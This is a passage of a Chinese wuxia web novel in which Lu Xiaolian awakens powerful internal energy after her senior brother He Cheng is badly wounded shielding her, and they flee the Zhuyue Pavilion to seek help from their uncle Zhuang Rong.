陆晓怜有些得意,但毕竟还未脱困,又不敢太过得意,只朝贺承眨眼一笑,继续安排道:“趁孟元经还没有追过来,我们赶紧翻墙出去。” 贺承点头:“钟晓,你先翻上去,接应晓怜,我来断后。” 陆晓怜记得,从这里翻墙出去,再往上走不到一里地,便是后山。山上草木丰茂,他们只要找个地方躲起来,天黑之后,趁着夜色翻山出去,应该不难。 只是她没有料到,孟元经置他们于死地的决心竟然这样大。 钟晓刚刚翻上院墙,朝她伸出手,孟元经便追了过来。贺承催促她快走,凌云剑一挥,便折身去拦孟元经,不料,剑光纷乱,孟元经却丝毫没有闪避,将身子迎上来。 贺承无心伤他,可要收回剑势已来不及,只能眼睁睁凌云剑自孟元经腰侧穿过。而孟元经被刺伤后并未停下步伐,依旧步步前进,任由长剑寸寸穿透身体,最终,他的身体抵上剑柄,从伤口涌出的血,一捧一捧喷在贺承握着剑柄的手。 贺承目光震颤,声音发哑:“元经哥,你——” 孟元经几乎贴到了贺承耳边,一字一顿:“陆晓怜,我是非杀不可的。”话音,刚落,他垂在身侧的手猝然抬起,掌心蓄力,用力一推,他手中的重剑,贴着贺承的肩膀飞出去,朝陆晓怜径直飞去。 这一剑来势汹汹,钟晓看得心惊肉跳:“师姐!” 钟晓的惊惶不是毫无道理,这一剑太急也太准,正冲着陆晓怜脸面而去。偏偏此时陆晓怜足尖点地,飞身而起,悬在空中无从借力,实在是避无可避。 只是,孟元经的剑快,可有人比他的剑还要快。 重剑黝黑寒凉的光映过陆晓怜染着血污的脸,预期的痛和冷却没有贯穿她的身体,她被稳稳接入一个温凉的怀抱中,贺承的气息瞬时将她重重包裹。 她就知道,只要师兄在,她就会被周全妥帖地护着。 可是,下一刻,她听见了兵刃入体的闷响。 陆晓怜目光一颤,不可置信地看向贺承,只觉他眉头微不可查地轻蹙了一下,又飞快舒展开,神色平静地揽住她的肩膀。 这一回,她没有被贺承的风轻云淡骗过去,她的目光一寸一寸往下落,扫过贺承线条流畅的下颌,扫过他修长的脖颈,扫过他宽阔的胸膛,最终久久停留在他瘦削的腰腹之间—— 孟元经的剑贯 穿过贺承的身体,剑尖正耀武扬威地闪着血色的光。 “师兄——”陆晓怜惊呼,声音凄厉,如杜鹃啼血。 她紧紧抱住贺承,双双落回地面。贺承借着她的搀扶,勉力安抚她:“没伤在要害,我们先,先出去……” 怎么会没有伤在要害?血色从腰腹之间汩汩涌出,陆晓怜满手都是贺承温热的血。 陆晓怜垂头定定看着贺承的伤口,好像听不见任何声音,抬起头时,满目猩红。她转头恨恨盯住朝他们围拢过来的逐月阁弟子,和站在他们身后的孟元经,胸口剧烈起伏着。 此刻,庭院里没有刀剑铿锵的声响,死寂中仿佛隐隐酝酿着另一波滔天巨浪。 倏尔,陆晓怜一声清喝,衣袂翻飞,一股出乎所有人意料的巨大力量从她纤瘦的身体里迸发出来,如同陡然撞上一面厚重的石壁,又好似千寻巨浪当头拍来,围上前来的逐月阁弟子被掀翻在地,手中兵刃或是脱手,或是折断,满地皆是狼藉!魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第六十一章调息平白生出这么厉害的…… 试图围追堵截的人被陆晓怜身体里迸发出的强劲内力震倒,有些站得近的,竟按着胸口生生呛出血来。 遍地哀鸿中,陆晓怜笔直站着,僵硬如一尊石像,只有垂在身侧的手轻轻发着颤,雪白的手掌边沿微微凸起,萦着一圈剔透的红光,随着她呼吸起伏的节奏,无声流转着。 内家功夫深厚的人,内息澎湃时,诸如手掌这样皮肉单薄的地方,是会萦绕上这样一层剔透光彩,那是血脉中内息涌动外化在皮肤上的模样。 这样的内家高手,贺承不是没有见过,他只是想不明白,陆晓怜身上什么时候蕴藏着这样深厚的内力? 他明明记得,自己的师妹天资有限,小时候练功再怎么刻苦,内功修为也不见精进,后来虽能用横秋剑完整地舞套剑法,可她内力积弱,再漂亮的剑法也不过是副花架子,真打起来,基本伤不了人。 究竟是什么时候,又是为着什么样的契机,她一声清喝,甚至无需挥掌,便能制住以内家功夫见长的逐月阁? 震伤逐月阁弟子后,陆晓怜似乎余怒未消,她静默了片刻,忽然抬头恨恨盯着在逐月阁弟子搀扶下勉力站着的孟元经。她并不说话,手掌边沿萦绕的红光越来越盛,流转得也越来越急。 陆晓怜缓缓抬起手,掌心里满溢着红润光彩,仿佛有什么要冲破她纤瘦的手掌,汹涌而出。 可在她挥掌全力击向孟元经的一瞬,忽然有一股力量从身后扑来,她身子被带得一歪,那一掌斜斜拍出去,没能击中孟元经,只在将他震得口吐鲜血的同时,把庭院中一座假山山峰削平了。 是谁拦着她给师兄报仇? 陆晓怜震怒回头,正对上贺承惨白如死的脸,猝然愣住。 “晓怜——”贺承紧紧揽住她的肩膀,温声喊她。 他离她那样近,难免被她的掌力波及,胸口气血翻腾,唇边隐隐有血沫呛出,却不肯松开手,紧紧抱着她,一声声喊着她。 在贺承的一声声轻唤中,陆晓怜的目光褪去猩红的怒意,渐渐清澈下来。许是方才消耗过甚,她有些脱力,看看一地伤员,又看看伤势仿佛更重了的贺承,茫然问:“师兄,我刚刚怎么了?” “没事,你就是被吓坏了。”贺承几乎要站不住,声音孱弱,“你对此地熟悉,想想还有没有可以藏身的地方?要近一些的,我们大概是走不到后山了。” 陆晓怜看了一眼贺承腰腹之间汩汩冒血的伤口,略一思索:“有,你坚持一下。” 说着,她从地上捡了把剑,一手横剑自护,一手扶着贺承继续往假山连绵的方向退。退到假山旁,陆晓怜抚过山石,不知拨动了哪处机关,两块山石竟如两扇门般轰然打开,她脚下一软,带着贺承滚入石洞之中。 石洞中阴暗,陆晓怜担心孟元经追进来,顾不得查看贺承的情况,急急忙忙摸黑去找关闭石门的机关。 石门闭合,石洞中伸手不见五指,陆晓怜在黑暗中摸索着找到贺承,小心将人扶起,只觉得他周身笼罩着浓稠的血腥味,无力倚靠在她肩头,气息微弱得几乎要散去。陆晓怜低低喊了他几声,没有立时得到回应,她此时什么也看不到,心中越发焦急,那股在经脉中横冲直撞的力量顷刻间又活了过来。 那股力量仿佛是蛰伏在她体内的一只蠢蠢欲动的猛兽,她一生气,一着急,情绪一激动,它就要闯出来。刚刚在洞外,她已经见识过放任那只猛兽横行的结果,如今在石洞之中,只有她和贺承,她若控制不住这股力量,必将重伤贺承。 想到这里,陆晓怜用上自己能想到的所有办法,试图压制住经脉中蓬勃翻涌的力量。 可是,十八年来,她只面对过涓涓溪流,温柔静好,从来不曾见过辽阔宽广的海洋,更不知如何在突如其来的惊涛骇浪中航行,用尽力气,也不得其法。 越是无法掌控,陆晓怜便越是着急,越是着急,那股力量便越加澎湃汹涌,如此循环,无法破解,她几乎疯魔。 她思绪激荡,快要无法控制自己,脑海中残存的意识反反复复告诉自己,贺承不可以再受伤了! 内息如决堤洪流,在体内狂涌。 陆晓怜强压不住那股力量,心中越发绝望,是不是,今日必须有人受伤,甚至是,必须有人命丧于此? 如果是这样的话—— 陆晓怜借着最后的神志,抬起手掌,蓄力对准自己…… 那一掌终究没有落下去,有一只冰凉的手握住陆晓怜的手腕,像是往沸腾的锅里丢了一把冰雪,咕嘟冒泡的汤粥暂且平静了下来。 “噗嗤”一声,浓稠的黑暗中,跃出一星温暖亮色。 小小的一枚火折子,火光微微,可她终于看清了贺承的脸。他沾血的手指握着火折子,暖黄色的火光映着他脸,粉饰了重伤之下的苍白惨淡。 “别怕……” 石洞中静谧,他孱弱的声音参杂着粗浅凌乱的呼吸,依旧让陆晓怜觉得心安。 她从小到大闯的每一次祸,进的每一处险境,好像只要师兄说别怕,她便真的不怕了。 贺承这样虚弱,还要举着火折子安慰她,陆晓怜连看他耗费这一点力气都觉得心疼,忙伸手想接过。 恰好,贺承也正将火折子往陆晓怜手里递。他想,她只有两只手,一手拿着火折子,一手扶着他,便再腾不出手来伤害她自己了。 一枚小小的火折子,两个人各怀心思,于无言中,交接传递。 陆晓怜的手有些抖,内息澎湃,她的手掌在火光下显出异样的红。她有些无措,像做错事的孩子:“师兄,我,我这是怎么了……” “你慌什么?”贺承轻笑,低声安抚她,“平白生出这连孟元经都忌惮的内力,有什么不好的?” 因为伤重,贺承的声音极轻极低,却还是极稳,依旧是平日里波澜不惊的模样。 他没有告诉陆晓怜,其实此刻极为凶险,她无法控制体内这股不知打哪儿来的力量,由着它四处游走,逆行倒施走了岔路,是要走火入魔的。他要在附近找个能藏身的地方,就是怕离开逐月阁途中她再有什么差池。 好在,点了火,能看见贺承活生生地在她身旁,陆晓怜安心下来,那股不受控制的力量似乎也随之平静一些。她顺着贺承的话,追着问:“师兄,你还记得小时候练功时的情景吗?那时,我爹分明说我根骨差,练不了什么高深的内功啊?” “怎么不记得?”贺承闷声咳嗽,倚 在陆晓怜肩头缓了缓,轻笑着说,“你不服气,偏偏,要跟所有师兄弟比,每天比别人多练三四个时辰。大概,是那时勤奋,如今有了回报……” “哪里是回报,怕是什么报应吧。”陆晓怜低头看自己红润得诡异的手掌,苦笑,“师兄,我刚才好害怕,怕控制不住它,伤了你。” “所以你就想着自伤?” “我——”陆晓怜心虚,小声争辩,“我也是迫不得已。” “你这股力量犹如洪水,压是压不住的,堵不如疏。”贺承叹了口气,示意陆晓怜扶他到一旁,背抵着石壁勉强坐稳,他推着陆晓怜的肩膀要她盘腿坐好,手掌抵上她的后背,温声道,“我帮你调息。” 直到贺承将一脉温和而强劲的内力打入她体内,沿着任督二脉缓缓推进,陆晓怜才后知后觉地想起她师兄身上的伤—— 他原本就带着伤,凤尾续魂针钉在经脉里,运功时每一刻都剧痛难耐,他为帮她调息调用如此强劲的内力,该有多疼?何况,他在石洞外还有新伤,孟元经贯穿他腰腹的那一剑,尚未包扎止血,这样下去非把血流光不可…… 思绪纷扰,陆晓怜霍然睁眼。 霎时,她感觉身体里的那股力量陡然抬头,它似乎将贺承当做入侵者,猛然冲撞过去,试图将属于贺承的那股力量挤出体外。 贺承闷哼一声,抵在陆晓怜后心的手猛然一颤,陆晓怜的心也随之一颤,急道:“师兄,你怎么了?” 贺承没有回话,她身后只有凌乱的呼吸声。 她背对着他,她看不清他此时的模样,急得声音哽咽:“你到底怎么了?松手,我不要你帮我调息了,你快松手!” 贺承的手掌死死抵着她的后背,寸步不让。 过了好一会,他终于缓过来,低声说:“我没事……你别多想……” 陆晓怜听得分明,他的声音弱得几乎只剩气音,哪里是“没事”的样子,她想要转头去看他,又怕自己轻举妄动连累他受内力反噬,心乱如麻。 “我们都不会有事的……闭上眼睛,什么也别想。”他几乎是在求她,“陆晓怜,你听话……” 陆晓怜深吸一口,轻轻阖上眼,两行眼泪无声滚落。 她这么听话,他可不能骗人啊。 之后,仿佛有一汪温润的泉水急急忙忙地涌进她周身奇经八脉中,激起细小的浪花。她身体里那股尖刻昂扬的力量,被一朵朵温柔的浪花舔舐过,顷刻间变得乖顺柔软,融化在那汪如阳春般温和润泽的泉水里。 之后,那汪泉水带着被驯化的力量,流淌过四肢百骸。 曾经阻碍她内息流转的每一处关卡,好似都被那股力量轻柔而坚定地推开,每一根经脉,每一处穴道,都被那股温柔的暖流抚摸过灌溉过,陆晓怜觉得自己轻盈得像一片云,又厚重得像一座山…… 少倾,陆晓怜缓缓睁开眼,轻轻吐出一口气。 她说不上自己有什么变化,只是觉得她所有的感受都比之前要敏锐许多,比如,抵在她后背上的那双手正在一寸一寸冷下去,一寸一寸往下滑去…… “师兄!”陆晓怜转身去看贺承。 她确实是比之前耳聪目明,仅仅凭借火折子的微光,她便能看清石洞里的场景,能看清贺承像个破败不堪的玩偶般,歪歪斜斜地倚在石壁上看她。此时的她明明有一身了不得的内力,惊惶之下却只能手脚并用地爬到贺承身边去,她看着他,竟不敢伸手触碰他,怕稍稍一碰,他便要碎了。 贺承目光涣散地盯着陆晓怜,气若游丝:“那股力量已经融入你的经脉,你,你今后自行调息便可……别急,慢慢来,总,总能让它为你所用……” 陆晓怜伸出手,小心地擦过他唇边不断溢出的血,咬牙道:“你不是说,我们都不会有事吗?你又骗我!” 贺承拿陆晓怜刚刚的话回复她:“我也是迫不得已……” 陆晓怜又急又痛,看着贺承,说不出话来。 贺承拉着她的手,强打着精神哄人:“也不算骗你……潘前辈给了我保命的药,我暂时还死不了……” “刚刚怎么不说?”陆晓怜从贺承怀中摸出被血浸得黏腻的瓷瓶,倒出瓷瓶中唯一的一颗药丸,刚刚问的话,此刻有了答案。她咬着唇看贺承,泪眼迷蒙,几乎要看不清他了:“你故意的?你怕我走火入魔,你怕那股力量崩断我的经脉,你怕你救不了我,所以这颗救命的药,你刚刚不敢吃,想留给我,对不对?” 这个问题不会有答案,贺承不会承认的。 陆晓怜知道她等不到回答,小心翼翼地将药丸喂给他,正想将手掌抵在他心口助他快些化开药力,耳朵却陡然一颤。她猝然转头看向石洞深处某个火光照不进的角落,微眯起眼,声音冷硬如刀:“谁在那里?出来!” 第62章 第六十二章脱身不要恋战,尽早脱身…… 石洞中确实还有第三个人。 初时兵荒马乱,无人有暇顾及石洞中的情况。可庭院里的假山只有那么大,假山中的石洞自然也不会太大,此刻形势稍缓,又因为功力精进,耳力大增,陆晓怜轻易地分辨出石洞中的另一个气息。她出声斥问,石洞中很快响起拖沓的脚步声,果然有人从暗处缓步走来。 那人身形高瘦,鬓发散乱,衣衫也是破的,看上去像是因为逃难,而困在此处的。 他再往前走几步,面目在灯火之下寸寸清晰,贺承和陆晓怜俱是一愣。 “小启?” “贺启?” 听见自己的名字,那人霍然抬头,惊喜道:“哥!晓怜师姐!竟然是你们!” 任谁也想不到,贺承与陆晓怜走投无路,躲进这个陆晓怜儿时捉迷藏的石洞里,竟然会遇见藏身于此的贺启。 贺启当年与贺承一道被庄荣带回青山城,拜入庄荣门下。他禀赋不高,胆子又小,向来乖顺,不像陆晓怜似的,从小就漫山遍野地惹祸生事,按说,贺启应该安安分分地待在青山城里,怎么会跑到西江城来?又怎么会躲在逐月阁深处的一孔石洞中? 贺承招呼贺启过来,皱着眉头发问:“你怎么会在这里?” “不仅是我,师父也来了。”贺启在贺承身边盘腿坐下,“逐月阁放出话来,说晓怜师姐在他们手里,要你亲自来接,才肯放人。师父说,你为了救晓怜师姐,必定会来西江,我们若想找到你,便也要来西江。” “师叔也来了?”陆晓怜惊讶,伸着脖子边张望边问,“他也在逐月阁?” “师父说,既然我哥暂时还不愿意回青山城,那我们便下山来见他。”贺启边说,目光边往贺承那里瞟,“师父不在这里,我是自己溜进逐月阁。我就是担心逐月阁要对我哥不利,想着偷偷潜进来看看情况,以助我哥一臂之力,没想到却被困在这里。” 昏沉中断断续续听着贺启说起庄荣,贺承眸光轻颤:“师叔他,他不怪我吗?” 贺启摇头:“师父说,莫说你还没认下这事,即便你认下了这件事,养不教父之过,你是他带回青山城的,是他没有教好你。” 养不教,父之过…… 贺承默默重复了一遍,心中涌上愧疚,可这种愧疚感很快被另一种无力盖了过去。 他刚到青山时又是伤又是病,是庄荣夜以继日地守在他床头。后来,为了让他成为掌门弟子,学到青山城最上乘的功法,素来心高气傲的庄荣不仅亲自去求陆岳修,更忍气吞声,同意放弃自己偏安后山悠然自在的生活,帮着分担青山城中事务。 自打记事起,他便跟着老乞丐在外流浪,对自己的亲生父母毫无印象。这些年来,带他回青山城的庄荣一直是最接近父亲的那个人。 即使拜入陆岳修门下,贺承也一直是住在庄荣院子里的。 于他而言,陆岳修所在之处是学堂、是武馆,是让他一日一日变得更好的地方,而庄荣所在之处是家,是永远会无条件接纳他的地方。 而此刻的他,像石头一样享受着这些纵容,对于所有疑惑和失望,只能无动于衷。 贺承闷声咳嗽,苦笑着摇头:“这哪里能怪到师叔头上……” “哥,那——”贺启有迟疑,“无涯洞外的几位师兄,真是你杀的吗?” 贺启当然不是第一个把这个问题赤裸裸地抛到贺承面前的人。 贺承当然也不是第一次被迫面对这样尖锐的问题,被迫回忆起那一夜无涯洞外弥漫着血腥气的夜色。 可此刻终究是有些不同,这个问题是他从小形影不离的弟弟问出来的,是当着他青梅竹马的小师妹陆晓怜的面问出来的。贺承心中又痛又急,却依旧什么也不愿意说,急促地喘息几轮,陡然呛出几口血,眼中的光又黯淡几分。 “师兄!”陆晓怜扶住摇摇欲坠的人,狠狠剜了贺启一眼,“他都伤成这样了,你却只关心这个吗?” 重逢的欢喜太过盛大,而石洞里的光线太过昏暗,贺启是经陆晓怜提醒,才注意到贺承的伤。 微弱火光映着贺承的脸,他的脸苍白得没有底色,竟被朝阳般的橘色亮光渲染出一点虚假的蓬勃,可他眉眼间的倦怠藏不住,他唇边蜿蜒的殷红藏不住,他腰腹间汩汩淌着血的伤口也藏不住。 贺启如刚刚的陆晓怜一般,惊慌之下,连行走的能力都失去了,手脚并用地爬到贺承身边,不知能触碰他身上的什么地方,他僵直呆住,只有声音发着颤:“怎么回事?怎么会伤成这样?” 陆晓怜没回答贺启的问题,只捏着一角衣袖,小心地擦拭贺承唇边的血色。 贺启手忙脚乱地翻出几个瓶瓶罐罐:“药!我带了药!”他边说,边一一打开瓶盖递过去:“无论如何,总要先止血!” 陆晓怜红着眼看贺启慌手慌脚地开药瓶,咬着嘴唇低头看自己紧紧压在贺承腰间的伤口上的手。她的指缝间凝着深深浅浅的红,从伤口处源源不断涌出的血像一团火烧在她的手心里,她的手掌没有受伤,疼痛却连到了心口。 她有些绝望:“是从后背贯穿出来的伤,伤口太深,这些药粉,没有用的。” 她哪里是不知道要先止血?她已经尝试过了,贺承身上带的伤药已经全部撒上去了,可出血太多,药粉几乎在撒上的瞬间,就被冲散,毫无作用。 “小启……你的剑……在身边吗?”贺承倚在陆晓怜怀中,随着血液流出,他的气息越发微弱。 听见贺承要,贺启便急急忙忙地捧出自己的佩剑来:“在的。” “用火……”贺承声音低弱,语气却坚定。 不知牵动了哪里的伤势,贺承只吐出两个字,又偏过头去闷声咳嗽,抑制不住地咳出几口血来。随着咳嗽声,他单薄的身体微微颤抖,伤口在摇晃中重新撕裂,陆晓怜只觉指掌间的温热更甚。 贺启迟疑,有些不忍:“用火烙上去吗?这岂不是在受刑?” 贺承靠在陆晓怜肩头,仿佛一条涸辙的鱼,胸口微弱而费力地起伏着。 他已经没有说话的力气,最后的决断,是陆晓怜做出的。她把所有的火折子都翻出来,递给贺启:“受刑又如何?当务之急是先保命!点火烤热你的剑,快一些!” 说这话时果决勇敢,可目光落回到贺承身上,陆晓怜的心又软成一团。她红着眼睛看着她虚弱不堪的师兄,握着他冰凉的手指,轻声说:“会有些疼,师兄,你忍一忍啊。” 贺承深深地闭了下眼。 她又接着说:“等伤口止住了血,我们就想办法出去。师叔就在西江城,南门前辈和潘前辈也会来西江,你不会有事的。” 贺承又深深闭了下眼,手指在她手心里蜷了一下,轻轻勾住她的手指,便是回应。 她含着眼泪,反勾住他冰凉无力的手指:“好,那就说好了,要一起出去的。” 那头,贺启已经依言点起火折子,火舌舔舐着他的佩剑,银光闪闪的剑身慢慢沁出黑红的光泽,仿佛下一刻就要迸出火星来。 陆晓怜咬牙撕开贺承伤处的衣裳,那道伤口狰狞地跃到眼前来,只觉得眼眶一热,呼吸都急促凌乱起来。贺承舍不得她看这些,挣扎出一点力气,抬手要去遮她的眼,颤抖的手堪堪举到她眼前,反被她一把握住。 她的脆弱仿佛只是寒潮来时的一阵急雨,风雨飘摇只停留了一瞬,而后,她逼着风要歇,雨要停,她逼着自己要成为一座泰然的青山。 她跪坐在贺承身边,稳稳握住他的手:“师兄,我不怕,你也别怕。” 贺承惨白的唇微微挽起,只低低应了声“好”。 贺启烤红的剑,是由陆晓怜亲手烙在贺承伤口上的。 “嗞”的一声轻响,轻烟飘然扬起,石洞中弥漫开焦糊的气味。 剧痛之下,贺承微弱地痛呼出声,身子猛然挺起,又无力地仰倒下去。他身后是坚硬的石壁,陆晓怜将手中的长剑一抛,倾身过去,将他稳稳护在怀中,不忍再让他承受丝毫冲击。 之后,贺启翻出来的那些瓶瓶罐罐终于派上用场。 贺启从衣裳上撕下布条,和陆晓怜一道为贺承简单包扎了伤口,又喂他服了从青山城带来的内服丹药。眼看伤势暂时控制住,两人终于稍稍松了口气,正准备讨论如何逃出逐月阁,却听见石洞外响起纷杂的脚步声。 假山里的这个石洞是陆晓怜小时候跟孟元纬玩捉迷藏的时候发现的,石洞内外的开关也是她根据当年与贺承一起背的那本无名书卷里的机窍设计的,连孟元纬和叶芷蔚都不知道如何开启这个石洞。 可是,这里是逐月阁,这个石洞只在逐月阁里的一处小小假山之中。 身为逐月阁的少阁主,孟元经其实不必知道如何开启石洞,他可以毁掉这座假山。 果然,外面很快传来孟元经略显虚弱的声音:“陆晓怜,贺承,你们可以继续躲在里面,但我轰崩这座假山,乱石无眼,你们究竟还能不能活命,便不好说了。” 孟元经依旧没有想着给他们留活路,话音刚落,石洞外攻势已起。 顷刻间,石洞所依附的那座假山摇摇欲坠,碎石崩落,石洞再不是可供藏身的安稳之所,反倒成了危机四伏的险地。 陆晓怜脸色微沉,下意识去看贺承:“师兄,你现在觉得怎么样?” 贺承靠在陆晓怜怀中阖眼小憩,倦极累极,却因众人尚处险境,不敢放任自己昏睡过去,此间动静皆落在他耳中。他睁开眼,眼中像是笼着一层薄薄的雾气,目光扫过石洞中一地狼藉,道:“此处,此处不能再待,我们先出去……” 陆晓怜毫不犹豫地点头:“好。” 贺承欲言又止地看了陆晓怜片刻,料想要她弃自己不顾,只身脱险,是万万不可能的,便什么也没说,转头看向贺启:“小启,一会出去,无论,无论我和晓怜能不能逃得出去……你都得出去,去告诉师叔我们被困在逐月阁,让他想办法救我们……” 贺启摇头:“不!你和晓怜师姐先走,我来断后!你的伤不能……” 话音未落,洞顶一块巨石砸下来,正落在他们三人之间。幸而,贺启灵活往侧面一翻,躲开石块,而陆晓怜如今功力大增,一手护住贺承,一手将石块退往石洞另一侧。 虽然有惊无险,但三人心知,这石洞一刻也不能多待。 陆晓怜与贺启相视一眼,扶起贺承,快步朝洞口走去。他们打开机关,踏出洞门的那一刻,身后的假山轰然坍塌,方才藏身的石洞,顷刻间被碎石掩埋,成为一片废墟。 按说,贺承等人已是孟元经瓮中之鳖,孟元经早该等在洞口捉人。可出乎意料的,他们踏出石洞,孟元经并没有立刻攻上来,只有几名逐月阁弟子围上来,陆晓怜掌风一扫,轻易便将他们横扫出去,清出一条通路来。 可是,这回孟元经葫芦里卖的又是什么药? 陆晓怜警惕,目光飞快扫过庭院,很快看见不远处,与人 缠斗在一起的孟元经。 她不知该不该欢喜:“是钟晓拖住了孟元经!” “我去帮师兄!”贺启顺势将她往无人处推了一把,“晓怜师姐,你带我哥先走,去找师父,他们就住在石鼓路十八号的院子里!快走!” “小启——” “贺启——” 贺承和陆晓怜出声阻拦,已是不及,贺启身形一闪,纵身加入战局。 贺启一剑刺伤拦路之人的手腕,回过头来催促贺承与陆晓怜:“快走!” 贺承心知自己伤重,执意留下来反而是拖累,不再推脱:“好,我们先走,你们当心,不要恋战,尽早脱身!” 第63章 第六十三章治伤孟元经的这一剑,没…… 暮色四合,石鼓路十八号的那处小院早早点起了灯。、 院子不大,庄荣这次出来轻车简行,只带了贺启和四五个徒弟,小小一方院落,已足够他们落脚暂歇。 得知贺承一早去了逐月阁,庄荣立刻派了人去守在逐月阁外,交代了见到他们贺师兄,就把人请回石鼓路来。被派去蹲守在逐月阁外的弟子每隔两个时辰便回来一趟,这趟带来的消息,依旧是没有见到他们师兄从逐月阁里出来。 庄荣心想,贺承和晓怜跟逐月阁的元经、元纬两兄弟自小就认识,久别重逢,留他们下来吃顿饭,也是应该的。 这样想着,他指着厨房的方向,对带回消息的弟子说:“灶膛里焖着两只叫花鸡,你师兄没口福,你去挖出来,跟大家分了吃吧。” 庄荣做饭的手艺极好,可轻易不进厨房,即便是进了厨房,青山城那么多弟子,也不是谁都能有机会分一杯羹的。那弟子听说他亲自下厨做了叫花鸡,谢过师父,立刻欢欣鼓舞地朝厨房奔去。 看着小徒弟的背影,庄荣想起贺承十五六岁时的模样,忍不住笑出声来。 一阵急切的敲门声,几乎与笑声同时响起,庄荣的笑意僵在脸上,被鼓点般密集的敲门声催得心慌,忙不迭地穿过院落去开门。 抽开门栓,门外的人立时闯了进来。 庄荣定睛一看,跌进门里来的,便是他心心念念要找的贺承。他稳稳扶住周身染血的贺承,急道:“这是怎么了?怎么伤成这样?” 陆晓怜脸色煞白,胸口起伏,剧烈喘息着,一时说不出话来。 庄荣心中隐约已有猜测,不再追问,只往门外探头望了一眼,确定无人尾随,立即反手关上院门:“先扶他进屋,我让人去请大夫。” 从逐月阁一路奔波至此,贺承已是强弩之末,来到庄荣的院子,犹如游子回家,强撑着的那口气瞬时松了下去,刚刚走进内室,便昏厥了过去。陆晓怜手忙脚乱地把人扶上床榻,咬着唇,小心翼翼地解开他的衣裳,细看他腰腹间的伤口时,庄荣正安排好外间的事情,急急忙忙赶来。 失血之下,贺承的皮肤比平日里还要苍白,呈现出一种没有血色的死气。 孟元经的剑从贺承后腰刺入,自腹部斜穿而出,那道伤极深。他们走投无路下,拿贺启的剑烙在伤口上止血,将伤口周边皮肤烫得扭曲焦黑,衬着他惨白的皮肤,显得那道伤口越发狰狞可怖。 有弟子端了热水过来,庄荣湿了帕子想为贺承清理伤口,握着帕子站在床边,看着这一身血污,竟一时愣住,不忍下手,也不知该从何下手。 “师叔,让我来吧。”陆晓怜深吸一口气,接过庄荣手中的帕子。 逐月阁中的场面太过混乱,她其实不知道贺承身上哪里还有伤,只能将力气控制得轻些,再轻些。手中的帕子洁白如雪,她捏着帕子擦过他每一寸皮肤,也都轻如飘雪。 可雪花落地,顷刻间便被血污染成殷红。 庄荣又是气愤又是心疼,咬牙问她:“是逐月阁干的?” 听见“逐月阁”三个字,陆晓怜目光悄然冷了下去:“是,孟元经根本没想让我们活着离开逐月阁。师兄是为了救我,才会伤得这么重。” “救你?”庄荣不解,“你与逐月阁无冤无仇,孟元经伤你做什么?” “我不知道,确实很古怪,他杀我的心,好像比向师兄寻仇还要迫切。”说话间,已经换过一盆水,帕子擦到贺承腰腹间的那道伤,陆晓怜迟疑着不忍心去碰。她咬着牙,声音哽咽:“这道剑伤,就是师兄替我挡的。我们那时逃不出来,伤口又太深,只能拿贺启的剑当烙铁,勉强止住了血,否则师兄怕是撑不到现在。” 庄荣凑近去看孟元经留下的那道伤。 他深谙各门派武功路数,逐月阁以内家功夫见长,擅使重剑。重剑出鞘,伤人两重,既伤皮肉,也伤脏腑。贺承身上的这一剑,便是重剑所伤,锋刃划破血肉,先是一处见血的外伤,剑身上的千钧之力震伤脏腑,又增一重内伤。 确如陆晓怜所说,孟元经本该重伤陆晓怜的这一剑,没留余地。 可是庄荣想不通,孟元经和陆晓怜究竟什么时候结下了这么深重的仇怨,即便贺承就在他眼前,他也要将目标锚定在陆晓怜身上? 这不是一时半会儿能想明白的事,当务之急还是治伤。 人命关天的事,去请大夫的弟子几乎是一人拽着一只胳膊,将大夫两脚离地,急急忙忙拖回小院里的。 医者仁心,李大夫知道事情紧急,顾不上与人寒暄,快步上前看了眼贺承那一身狰狞可怖的外伤,忍不住惊呼出声:“怎么伤成这样?”边说着,他边搭上贺承的手腕诊脉,脸色更沉:“新伤叠着旧伤,内伤加着外伤,这怎么治啊?他现在还能喘气,都是阎王爷手下留情。” 陆晓怜道:“求您无论如何吊着我师兄一口气。” 李大夫好奇道:“只要吊一口气?不必治好吗?你这要求好古怪。” “你能给师兄治伤自然是最好,不行的话,也请您一定吊住他一口气,神医夫妇南门前辈和潘前辈不日便会到西江城来,他们定有办法……” “神医夫妇?”李大夫打断陆晓怜,“你说的难道是南门迁和潘妩?” “您认识两位前辈?” 李大夫挑眉:“不仅认识,要轮起来,他也能算是我师兄了。” 陆晓怜欣喜万分:“既与南门前辈师出同门,您的医术也一定很高超。” 李大夫笑笑:“要治经脉脏腑里的暗伤,我不如他,但要治外伤,你算是找对了人。” 陆晓怜满心满眼只有奄奄一息的贺承,只哄着李大夫:“您能吊着孟元纬半年的命,自然是也是神医。” 李大夫哈哈大笑:“好!小姑娘有眼光,你师兄这条命,我一定给你保下来!” 边说着,李大夫又细细搭上贺承的手腕诊了许久,才转头龙飞凤舞地写了张方子,让庄荣安排人去抓药煎药。紧接着,他从药箱中摸出两片参片塞进贺承口中:“他经脉脏腑里的伤也不是一日两日的事了,慢慢调着吧。我先处理这处外伤,虽然粗暴潦草地止了血,但内里的碎肉污血没有清理干净,得重新划开伤口处理才行。” “那岂不是很疼!” “自然是疼的。”李大夫理所当然,眼角瞟过陆晓怜发白的脸,心里一软,补充道,“清理伤口哪里有不疼的,幸好他昏着,什么也不知道。” 贺承昏着,什么也不知道。 可陆晓怜是醒着的,她要眼睁睁看着贺承再挨一刀,她想着都觉得疼,吸着气,小心翼翼地哀求李大夫:“轻一点,拜托您了。” 李大夫拿着薄薄的一片刀子,在火上烤。 他手上的刀极薄也极利,抬手落刀极轻极快,被烙铁烫过的伤再一次被划开,发黑的血水汩汩冒了出来。李大夫拿帕子堵住伤口,边吸去伤口涌出来的污血,边道:“你们看,这些污血堵在体内,之后化脓溃烂,神仙也难救。” 李大夫稍稍加了些力道,按压伤口附近的皮肤,希望将伤口里的污血排得更彻底些。 按压之下,伤口自然是疼的,昏睡中的贺承毫无意识,只保留着身体的本能,痛了便要躲,可他太过虚弱,连挣扎的动作都是微弱的。 李大夫按着他的伤口,回头看陆晓怜和庄荣:“按住他。” 庄荣狠狠心,上前按住贺承的肩膀,难得轻声细气地哄人:“忍一忍,一会就好。” 兴许是痛极了,兴许是听见庄荣的声音,贺承濡湿的睫毛轻颤一下,霍然睁开。看着近在眼前的庄荣,他的眼眶蓦然红 了,像受了委屈的孩子般,喃喃地念叨:“师叔,疼……” 于是,庄荣的眼眶也红了。 他记得刚刚找到这孩子的时候,他不信人,也不亲人,忘了是养了多长时间,半年?一年?还是更长?这孩子才稍稍放下戒备,能接受他的接近与关心。 